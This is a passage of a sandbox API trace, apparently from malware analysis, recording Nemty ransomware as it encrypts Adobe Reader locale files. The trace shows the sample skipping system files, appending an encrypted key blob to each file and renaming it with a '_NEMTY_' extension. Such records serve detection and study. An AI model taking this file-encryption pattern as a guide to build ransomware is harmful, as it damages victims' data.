lpUsedDefaultChar=0x0) returned 10 [0175.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.092] Sleep (dwMilliseconds=0x5) [0175.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c04ef10, dwHighDateTime=0x1d561e8)) [0175.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c04ef10, dwHighDateTime=0x1d561e8)) [0175.108] GetLastError () returned 0x0 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.108] GetLastError () returned 0x0 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.108] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.108] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="0eqBv8J+FdMGTcEl46BNYz3kVcf0layS/LBGYdf4oMFetgVSXsvVe0cI8mKrTshb\r\ntzBeYewOY7G6yDT5DgSRbK3mOq3epKOiXN3qrRyB4ewEwlUPORSHcQQcWiLtvtNn\r\nyp6ojzoaPc/jA9ryf66KVLDZp5qxCuQW7vxZgtp+s0ShjtJr6iuIr04zPi/ZkrrJ\r\nKMyTRwqlbBNj5m0LAv3AjLrqHRyz4fqCOzzCHTL0bOp/kWYn2Fc0IJqPdFhzkTbr\r\n52H5SNCrGdBn0YbzEpxYGhJpCRO7TJNDrqOykkA7/aOANkarlkXNYZ1bfLJEF2VY\r\n8rMZPCuxWZHxErGExT7lSw==\r\n", pcchString=0x653e5dc) returned 1 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.109] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=138752) returned 1 [0175.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.109] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.109] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.118] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.118] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.118] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=138752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21e00 [0175.118] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.118] CloseHandle (hObject=0x2e8) returned 1 [0175.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.119] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu._nemty_kgobjgd_")) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.119] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.DEU", cAlternateFileName="")) returned 1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2=".") returned 1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2="..") returned 1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2="...") returned 1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2="windows") returned -1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2="rsa") returned -1 [0175.119] lstrcmpiW (lpString1="DVA.DEU", lpString2="NTDETECT.COM") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="ntldr") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="MSDOS.SYS") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="IO.SYS") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="boot.ini") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="boot.ini") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="ntuser.dat") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="desktop.ini") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="CONFIG.SYS") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="RECYCLER") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="bootmgr") returned 1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="programdata") returned -1 [0175.120] lstrcmpiW (lpString1="DVA.DEU", lpString2="appdata") returned 1 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DEU", lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DEU", lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DEU", lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DEU", lpUsedDefaultChar=0x0) returned 7 [0175.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.120] Sleep (dwMilliseconds=0x5) [0175.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c075070, dwHighDateTime=0x1d561e8)) [0175.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c075070, dwHighDateTime=0x1d561e8)) [0175.123] GetLastError () returned 0x0 [0175.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.123] GetLastError () returned 0x0 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.124] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.124] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.124] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.124] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="yRc9+FlBgLs+WjrUd7TN5ViJDDn5BY3TbtHi9pfVqgP6rBuVz3MqtcfbmVmOix2p\r\nZJN++FZFnodCo3U7OpRstAEkKeacK3xorD6BPsTMQOLhWKcrXsa6nsR0DMJnj1TZ\r\n2stkCxBFoWx+e66K+wkRYUpPuibe/l3eputvUq+eJJFV7ZK8JQotCS7OaIyvGTJr\r\n02jqStwBxKCnpvCywgSCZatf0dLsuZnIVzQZS8LZ1iQ9/n2m8uh8t0iWZNzQ6VrN\r\nn/bRGn+MvezIQiexztkdhP6Lt0sVPLaCcUnk1fybfyNoL3GAoGuXnKi6v5f5C+os\r\nlnDD6mb6W5MZcNswBhf2YQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.124] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19456) returned 1 [0175.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c00) returned 0x6352c48 [0175.124] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.124] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4c00, lpOverlapped=0x0) returned 1 [0175.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4c00, lpOverlapped=0x0) returned 1 [0175.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c00 [0175.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.128] CloseHandle (hObject=0x2e8) returned 1 [0175.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.128] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu._nemty_kgobjgd_")) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.129] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.DEU", cAlternateFileName="")) returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2=".") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="..") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="...") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="windows") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="rsa") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="NTDETECT.COM") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="ntldr") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="MSDOS.SYS") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="IO.SYS") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="boot.ini") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="boot.ini") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="ntuser.dat") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="desktop.ini") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="CONFIG.SYS") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="RECYCLER") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="bootmgr") returned 1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="programdata") returned -1 [0175.129] lstrcmpiW (lpString1="eBook.DEU", lpString2="appdata") returned 1 [0175.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 